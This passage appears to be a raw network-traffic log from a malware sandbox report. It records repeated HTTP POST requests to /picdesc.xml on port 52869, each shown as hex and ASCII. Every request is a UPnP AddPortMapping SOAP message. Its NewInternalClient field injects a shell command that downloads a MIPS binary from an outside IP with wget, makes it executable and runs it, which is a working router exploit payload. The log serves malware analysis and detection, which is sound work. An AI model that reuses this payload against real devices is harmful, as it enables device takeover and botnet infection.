                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:34.811491966 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:42.747247934 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:58.362862110 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:30.361840963 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      6192.168.2.1552286185.29.194.21452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:27.065450907 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:28.155689001 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
